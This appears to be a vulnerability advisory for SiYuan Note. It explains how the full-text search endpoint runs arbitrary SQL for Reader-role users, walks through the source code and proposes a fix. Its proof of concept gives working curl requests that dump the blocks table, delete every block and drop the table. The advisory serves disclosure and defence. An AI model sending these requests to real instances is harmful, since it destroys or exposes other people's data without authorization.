SiYuan: Authorization Bypass Allows Arbitrary SQL Execution via Search API

Summary

SiYuan Note v3.6.0 (and likely prior versions) contains an authorization bypass vulnerability in the /api/search/fullTextSearchBlock endpoint. When the method parameter is set to 2, the endpoint passes user-supplied input directly as a raw SQL statement to the underlying SQLite database without any authorization or read-only checks. This allows any authenticated user — including those with the Reader role — to execute arbitrary SQL statements (SELECT, DELETE, UPDATE, DROP TABLE, etc.) against the application's database.

This is inconsistent with the application's own security model: the dedicated SQL endpoint (/api/query/sql) correctly requires both CheckAdminRole and CheckReadonly middleware, but the search endpoint bypasses these controls entirely.

Root Cause Analysis

The Vulnerable Endpoint

File: kernel/api/router.go, line 188

ginServer.Handle("POST", "/api/search/fullTextSearchBlock", model.CheckAuth, fullTextSearchBlock)

This endpoint only applies model.CheckAuth, which permits any authenticated role (Administrator, Editor, or Reader).

The Properly Protected Endpoint (for comparison)

File: kernel/api/router.go, line 177

ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, SQL)

This endpoint correctly chains CheckAdminRole and CheckReadonly, restricting SQL execution to administrators in read-write mode.

The Vulnerable Code Path

File: kernel/api/search.go, lines 389-411

func fullTextSearchBlock(c *gin.Context) {
    // ...
    page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg)
    blocks, matchedBlockCount, matchedRootCount, pageCount, docMode :=
        model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)
    // ...
}

File: kernel/model/search.go, lines 1205-1206

case 2: // SQL
    blocks, matchedBlockCount, matchedRootCount = searchBySQL(query, beforeLen, page, pageSize)

When method=2, the raw query string is passed directly to searchBySQL().

File: kernel/model/search.go, lines 1460-1462

func searchBySQL(stmt string, beforeLen, page, pageSize int) (ret []*Block, ...) {
    stmt = strings.TrimSpace(stmt)
    blocks := sql.SelectBlocksRawStmt(stmt, page, pageSize)

File: kernel/sql/block_query.go, lines 566-569, 713-714

func SelectBlocksRawStmt(stmt string, page, limit int) (ret []*Block) {
    parsedStmt, err := sqlparser.Parse(stmt)
    if err != nil {
        return selectBlocksRawStmt(stmt, limit)  // Falls through to raw execution
    }
    // ...
}

func selectBlocksRawStmt(stmt string, limit int) (ret []*Block) {
    rows, err := query(stmt)  // Executes arbitrary SQL
    // ...
}

File: kernel/sql/database.go, lines 1327-1337

func query(query string, args ...interface{}) (*sql.Rows, error) {
    // ...
    return db.Query(query, args...)  // Go's database/sql db.Query — executes ANY SQL
}

Go's database/sql db.Query() will execute any SQL statement, including DELETE, UPDATE, DROP TABLE, INSERT, etc. The returned *sql.Rows will simply be empty for non-SELECT statements, but the destructive operation is still executed.

Authorization Model

File: kernel/model/session.go, lines 201-210

func CheckAuth(c *gin.Context) {
    // Already authenticated via JWT
    if role := GetGinContextRole(c); IsValidRole(role, []Role{
        RoleAdministrator,
        RoleEditor,
        RoleReader,       // <-- Reader role passes CheckAuth
    }) {
        c.Next()
        return
    }
    // ...
}

File: kernel/model/session.go, lines 380-386

func CheckAdminRole(c *gin.Context) {
    if IsAdminRoleContext(c) {
        c.Next()
    } else {
        c.AbortWithStatus(http.StatusForbidden)  // <-- This check is MISSING on the search endpoint
    }
}

Proof of Concept

Prerequisites

• SiYuan instance accessible over the network (e.g., Docker deployment)
• Valid authentication as any user role (including Reader)

Steps to Reproduce

1. Authenticate to SiYuan and obtain a valid session cookie or API token.

2. Read all data (confidentiality breach):

curl -X POST http://<target>:6806/api/search/fullTextSearchBlock \
  -H "Content-Type: application/json" \
  -H "Authorization: Token <reader_token>" \
  -d '{"method": 2, "query": "SELECT * FROM blocks LIMIT 100"}'

3. Delete all blocks (integrity/availability breach):

curl -X POST http://<target>:6806/api/search/fullTextSearchBlock \
  -H "Content-Type: application/json" \
  -H "Authorization: Token <reader_token>" \
  -d '{"method": 2, "query": "DELETE FROM blocks"}'

4. Drop tables (availability breach):

curl -X POST http://<target>:6806/api/search/fullTextSearchBlock \
  -H "Content-Type: application/json" \
  -H "Authorization: Token <reader_token>" \
  -d '{"method": 2, "query": "DROP TABLE blocks"}'

5. Compare with the properly protected endpoint (should return HTTP 403 for Reader role):

curl -X POST http://<target>:6806/api/query/sql \
  -H "Content-Type: application/json" \
  -H "Authorization: Token <reader_token>" \
  -d '{"stmt": "SELECT * FROM blocks LIMIT 10"}'

Expected Behavior

The search endpoint should reject SQL execution for non-admin users, or at minimum enforce read-only access, consistent with /api/query/sql.

Actual Behavior

Any authenticated user (including Reader role) can execute arbitrary SQL including destructive operations.

Impact

In a multi-user deployment (e.g., Docker with published access, or any network-accessible instance with access authorization code):

• Confidentiality: A Reader-role user can read all data in the SQLite database, including blocks, assets, references, and configuration data they should not have access to.
• Integrity: A Reader-role user can modify or delete any data in the database, despite having read-only access by design.
• Availability: A Reader-role user can drop tables or corrupt the database, rendering the application unusable.

Suggested Fix

Add CheckAdminRole and CheckReadonly middleware to the search endpoint, or add explicit validation that only SELECT statements are accepted when method=2:

Option A — Restrict method=2 to admin (recommended):

In kernel/api/search.go, add a role check when method=2:

func fullTextSearchBlock(c *gin.Context) {
    // ...
    page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg)

    // SQL mode requires admin privileges, consistent with /api/query/sql
    if method == 2 && !model.IsAdminRoleContext(c) {
        ret.Code = -1
        ret.Msg = "SQL search requires administrator privileges"
        return
    }
    // ...
}

Option B — Enforce SELECT-only for non-admin users:

Validate the parsed SQL to ensure only SELECT statements are executed when the user is not an administrator.